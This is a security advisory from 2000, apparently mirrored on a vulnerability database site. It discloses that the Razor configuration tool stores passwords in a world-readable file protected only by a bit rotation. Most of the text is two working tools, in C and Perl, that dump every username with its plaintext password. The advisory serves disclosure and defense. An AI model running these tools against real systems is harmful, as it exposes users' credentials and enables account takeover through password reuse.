`--|
|-------------------- Shawn Clifford <[email protected]>
---------------------|
This advisory follows the RFP disclosure policy:
http://www.wiretrip.net/rfp/policy.html
----| ISSUE
Razor is a configuration management tool (see http://www.razor.visible.com).
There is a serious flaw with the Razor password file, rz_passwd.
The problem is two-fold:
1) The enciphering method used to scramble the password is
extremely
weak, using only a simple bit rotation on each byte. This was
obvious
after studying the rz_passwd file format for less than 30 minutes.
2) The permissions on rz_passwd are world readable (a+r). If we
change the permissions to owner-only readable (mode 400), Razor
works
fine. But, when a 'razor add_user ....', 'razor remove_user ...',
or 'razor passwd' command is issued, the permissions are changed
back
to world readable. We then tried changing the permissions on the
parent directory to rwx------ (mode 700), but Razor was then unable
to
restart the databases.
The Razor password file is found in a directory named Razor_License on the
machine acting as the license server.
----| ORIGINATORS
Shawn Clifford <[email protected]>, Pat Walker <[email protected]>
Date of contact: 2000-Jun-16
Receipt acknowledgment: 2000-Jun-16
----| MAINTAINER
Visible Systems Corporation
248 Main Street
Oneida, NY 13421
315-363-8000
Web page: http://www.visible.com
Email contact: mailto:[email protected]
----| DISCUSSION
The razor password file is composed of 51-byte records of three fields of 17
bytes. The fields are: username, encoded password, and group.
The username and group fields are stored in ASCII plaintext with NULL
padding,
and the encoded password is an 8-byte (maximum) field with NULL padding.
The enciphered password is created by rotating each byte in the plaintext
password right 2 bits. To decode the password, each byte is just rotated
left 2 bits.
Obviously this is an extremely weak and dangerous method for securing the
passwords. In fact, you can sit down with a pad, pencil, and a hex dump of
of the password file and decode entries by hand. But to make matters worse,
the password file is world readable.
A repurcussion of this might be that an attacker recovers a user's Razor
password and then tries the password against other accounts that the user
may have. I would guess that many users have the same password everywhere.
This is a bad password policy, but nearly impossible to detect or deter.
----| SOLUTION
Visible said: "Thank you for your suggested enhancement. We have placed
your enhancement suggestion in our program database for consideration in
future Razor upgrades."
Huh??????
If you are a Razor user, I suggest you send them a persuasive email.
You may as well do a 'chmod 400' on the parent directory, but keep in
mind that the permissions will change the next time you run one of the
rz commands that touch the password file.
----| EXAMPLE CODES
== dumprazorpasswd.c ==
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <ctype.h>
/************************************************************
dumprazorpasswd -
dumprazorpasswd
- prompts for input hex string to decode
dumprazorpasswd <razor_passwd_file>
- prints the users and passwords in <file>
dumprazorpasswd <passwd>
- encrypts <passwd> and prints it in hex
16-jun-2000 pbw.
************************************************************/
#define ASCII2BIN(c) ( isdigit(c) ? c - '0' : toupper(c) - '7' )
#define ROT8L(c,b) ( (c)=( ( (c<< (b%8) ) + (c>>(8-(b%8))&((1<<(b%8))-1)) )
& 0x00ff) )
#define ROT8R(c,b) ( (c)=( ( (c<< (8-(b%8)) ) + (
c>>(b%8)&((1<<(8-(b%8)))-1)) ) & 0x00ff) )
struct pwent
{
char uname[17];
char psswd[17];
char gname[17];
};
dumpfile (int fd)
{
int status, k;
struct pwent pwent;
while ( (status = read (fd, &pwent, 51)) > 0 )
{
if (status != 51)
{
printf ("fd = %d\n", fd);
printf ("partial read! only read %d bytes\n", status);
exit(0);
}
k = 0;
while (pwent.psswd[k] != '\0')
{
ROT8L(pwent.psswd[k], 10);
k++;
}
printf ("user %-17s %-17s\n", &(pwent.uname[0]), &(pwent.psswd[0]));
}
}
main (int argc, char *argv[])
{
int fd,i,k;
char passwd[18];
char dpasswd[9];
if (argc < 2)
{
printf("razor passwd to decrypt :");
fgets(passwd, 17, stdin);
passwd[strlen(passwd)-1] = 0;
k=0;
for (i=0 ; i<9 ; dpasswd[i++]=0);
for (i=(strlen(passwd)-1) ; i>=0 ; i--)
{
if (k & 1)
{
dpasswd[i/2] |= ((ASCII2BIN(passwd[i]) << 4) & 0xf0);
}
else
{
dpasswd[i/2] = ASCII2BIN(passwd[i]) & 0x0f;
}
k++;
}
for (i=0 ; i<strlen(dpasswd) ; i++)
ROT8L(dpasswd[i], 2);
printf("%s\n", dpasswd);
exit(0);
}
fd = open (argv[1], O_RDONLY);
if (fd < 0)
{ /* assume arg is a passwd to encrypt
*/
for ( i=0 ; i<strlen(argv[1]) ; i++)
printf("%02X", (unsigned char)ROT8R(argv[1][i], 2) );
printf("\n");
}
else
{ /* dump file */
dumpfile(fd);
}
exit(0);
}
== dumprazorpasswd.c ==
== passwd_rz.pl ==
#!/usr/local/bin/perl
#
# Title: passwd_rz.pl
# Author: Shawn A. Clifford
# Date: 2000-June-15
# Purpose: Encrypt/decrypt Visible Systems Corp.' Razor passwords
# Usage: passwd_rz.pl [ hex_hash | password_file_name ]
#
# When run without arguments, this program will prompt for
# a plaintext password and produce the ciphertext that Razor
# would create for the same string.
# Eg.: ./passwd_rz.pl
#
# Enter a password, max 8 chars: WayLame
# Hash (in hex): D5585E13585B59
#
# When passed a hex-character string, the program will
# generate the corresponding plaintext password.
# Eg.: ./passwd_rz.pl D5585E13585B59
#
# Decrypting input hex string: D5585E13585B59
# Plaintext password: WayLame
#
# When passed a filename for a Razor password file
(rz_passwd),
# the program will dump all of the entries in the password
# file. Each entry contains a username, password, and group.
# Eg.: ./passwd_rz.pl rz_passwd
#
# Decrypting Razor password file: rz_passwd
#
# Username Password Group
# -------- -------- -----
# luser123 lamerz please
# luser45 cant fix
# buckwheat code this
# .
# .
# .
# tester1 CCCCCCCC test
# tester2 AAAAAA test
#
# 233 password entries
#
use strict;
#
# Defines
#
my $arg; # Command line argument
my $PLEN = 8; # Maximum number of chars in a password
my $PGLEN = 22; # Output page length
my @hash; # Password hash (err, lame cipher)
my $passwd; # Plaintext password
my $byte; # A single byte/char
my $buffer; # Record from the password file
my $i; # Counter/index
my $user; # Username from password file
my $group; # Group name from password file
my $rec_fmt = 'A17 C17 A17'; # rz_passwd record format
my $rec_size = length(pack($rec_fmt, ())); # Size of a password file record
if ($#ARGV < 0) { # We want to encrypt a password
#
# Get a password
#
print "\nEnter a password, max 8 chars: ";
$passwd = <STDIN>;
chomp $passwd;
#
# Encrypt the password
#
print "Hash (in hex): ";
for ($i=0; $i < length($passwd) && $i < $PLEN; $i++) {
#
# For each byte in the password, rotate right 2 bits
#
$byte = unpack("C", substr($passwd,$i,1)) >> 2;
$byte += unpack("C", substr($passwd,$i,1)) << 6;
#
# Mask off the resultant low byte and save
#
$hash[$i] = $byte & 0x00ff;
printf "%X", $hash[$i];
}
print "\n\n";
} else { # We want to decrypt a rz_passwd file or hex string
$arg = shift;
if ( -f ${arg} ) { # It's a file to process
print "\nDecrypting Razor password file: $arg\n";
open(IN, "<${arg}") || die "Can't open passwd file: $!";
$i = 0;
while ( read(IN, $buffer, $rec_size) == $rec_size ) {
if ($i % $PGLEN == 0) {
print "\nUsername Password Group\n";
print "-------- -------- -----\n";
}
($user, @hash, $group) = unpack($rec_fmt, $buffer);
$group = substr($buffer, 34, 17); # unpack didn't give me this,
why?
printf "%-17s %-15s %-17s\n", $user, decrypt(@hash), $group;
$i++;
}
printf "\n%d password entries\n\n", $i;
close(IN);
} else { # It had better be a string of hex digits!
print "\nDecrypting input hex string: $arg\n";
#
# Convert ASCII character string to a binary array
#
@hash = ();
for ($i=0; $i < (length($arg)/2) && $i < $PLEN; $i++) {
$byte = hex(substr($arg, $i*2, 2));
$hash[$i] = $byte;
}
#
# Call the decrypt function to print the plaintext password
#
printf "Plaintext password: %s\n\n", decrypt(@hash);
}
}
sub decrypt {
my @hash = @_; # Pick up the passed array
my $passwd = (); # Zero the output plaintext scalar
my $i;
my $byte;
#
# Decrypt the lamely enciphered password
#
for ($i=0; $i < $PLEN; $i++) {
#
# Convert NULLs to spaces
#
if ($hash[$i] == 0) {
$passwd = $passwd . " ";
next;
}
#
# For each byte in the hash, rotate left 2 bits
#
$byte = $hash[$i] << 2;
$byte += ($hash[$i] >> 6) & 0x03;
#
# Mask off the resultant low byte and save
#
$passwd = $passwd . chr($byte & 0x00ff);
}
return $passwd;
}
== passwd_rz.pl ==
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation